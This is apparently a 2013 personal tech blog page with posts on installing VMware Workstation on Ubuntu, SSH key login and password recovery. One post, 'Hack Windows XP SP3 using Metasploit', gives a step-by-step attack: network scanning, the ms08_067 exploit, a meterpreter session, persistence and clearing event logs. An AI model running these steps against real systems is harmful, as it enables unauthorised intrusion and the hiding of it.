Tuesday, April 30, 2013

Install VMware Workstation in Ubuntu 12.10


1. Go on Google or VMWARE Website looking for Download files name:
1.1 VMware-Workstation-Full-8.0.4-744019.x86_64.bundle
1.2 vmware804fixlinux320.tar.gz

In this example is going to install VMware-Workstation Version 8.0.4 in Ubuntu 12.10

2. After download go to the directory that store the file and issue the command:

vannak@computer:~/Downloads$sudo apt-get install linux-headers-$(uname -r) build-essential
vannak@computer:~/Downloads$sudo apt-get install open-vm-tools open-vm-toolbox

vannak@computer:~/Downloads$chmod +x VMware-Workstation-Full-8.0.4-744019.x86_64.bundle
vannak@computer:~/Downloads$sudo ./VMware-Workstation-Full-8.0.4-744019.x86_64.bundle

and follow the following screen shoot:











ERROR:
Before you can run VMWARE,serveral modules must be compile and loaded into the running kernel.

Go to the download file: vmware804fixlinux320.tar.gz
Extract and run the patch
vannak@computer:~/Downloads$sudo tar -xvf vmware804fixlinux320.tar.gz
vannak@computer:~/Downloads$sudo ./patch-modules_3.2.0.sh
vannak@computer:~/Downloads$sudo patch vmware3.2.0.patch
[sudo] password for vannak:
(pam_mount.c:365): pam_mount 2.13: entering auth stage
patching file vmnet-only/filter.c
patching file vmnet-only/netif.c
patching file vmnet-only/userif.c
gcc and kernel headers must be installed

All done, you can now run VMWare WorkStation.
Modules sources backup can be found in the '/usr/lib/vmware/modules/source-workstation8.0.4-2013-04-26-23:31:56-backup' directory


and here a sample key:
VVVVV-AAAAA-NNNN-NNAAA-KKKKK

When we start it error: 
start the VMWARE by issue command:
sudo /etc/init.d/vmware start







When we start it error: 
sudo modprobe vmmon
sudo modprobe vmci
sudo modprobe vmnet

Check VM I network connectivity
sudo vmware-networks --status

start the vmware network it by issue command:
sudo vmware-networks --start

If There is no more Error!!, Let Go...!

Create VMWare:












Complete...!!  Enjoy ...! ;)

Monday, April 22, 2013

Is this a security issue ?
Yes and not, for Gnu/Linux systems if you have physical access to a computer you are a super-admin, and so you can use this method, or start with a live distribution to recover all the credentials of the system.
If you are worried about this you should probably set various layer of protection such as Password protected bios and grub and encrypted disk information (at least /home),


I will show some tip to get into the Linux System if you forgot your password..

Saturday, April 20, 2013

Hack Windows XP SP3 using Metaploit


######### H@cK  WinXP SP3 ###############

Scan IP/Computer for Attack
nmap -sP 172.15.5.0/24 
Check the type of the computer info:
nmap -sS -Pn -A 172.16.5.131
[ After searching, I select IP 172.16.5.131[XP-SP3 (nmap -A 172.16.5.131) ] for Attack]
Start Metaploit console in Ubuntu by issue command: sudo msfconsole
-----------------------------------------------------------------------------------------
1. msf > use exploit/windows/smb/ms08_067_netapi
2. msf  exploit(ms08_067_netapi) > set RHOST 172.16.5.131
3. msf  exploit(ms08_067_netapi) > exploit
4. meterpreter > migrate 212   (212 is the PID of  explorer.exe)
5. meterpreter > sysinfo
Computer        : VANNAK-D835B763
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
------------------------------------------------------------------------------------------
6. meterpreter > run persistence -h
7. meterpreter > run persistence -A -X -p 10000 -r 172.16.5.131
8. meterpreter > clearev


Auto Log in without password with SSH


Client Linux...!

#Go to ".ssh" folder On Ur computer and Generate the key
vannak@computer:~/.ssh$ ssh-keygen -b 1024 -t rsa -C vannak@mail.com

Note: Just Enter When the machine Ask..!!

Then u will have : id_rsa  id_rsa.pub  known_hosts

#Copy file id_rsa.pub to the the Server put in folder ".ssh" and rename to file authorized_key By:

vannak@computer:~/.ssh$ scp id_rsa.pub root@ur-server:.ssh/authorized_key

Type ur root password when it ask..!!

#Access with the ShortCut Name:  EX: "myserver.com.kh" to "server"
#vannak@computer:~/.ssh$sudo touch config
Add the following content

    Host server
  HostName myserver.com.kh
  User root
  Port 2200
  IdentityFile /home/vannak/.ssh/id_rsa
 -----------------------------------------------------------------------------------------------------------------
Client Windows...!
1. Generare Key on Windows Clients using puttygen (We will Have Public and Private Key)
Put your phaseprase and Save Public and Private Key
-Remove the first line and last line and replace the second line to 'ssh-rsa'
-And then remove all indention like follows. 'ssh-rsa

2. Go to your Server
- Create a folder name ".ssh" <>
- Create a file name "authorized_keys" in folder ".ssh"
- Copy All generate in "PublicKey" and paste to file "authorized_keys"

3. Go to your Window Client with Putty
- on Auth --> Browse to your "PrivateKey"

Note: You Always broswe to "PrivateKey" for each access.
It also Easy for YOU When We access to many DIFFENT SERVERS using Differnt KEYS....! ;)

View Welcome Message with SSH

Edit in file:
sudo nano /etc/issue.net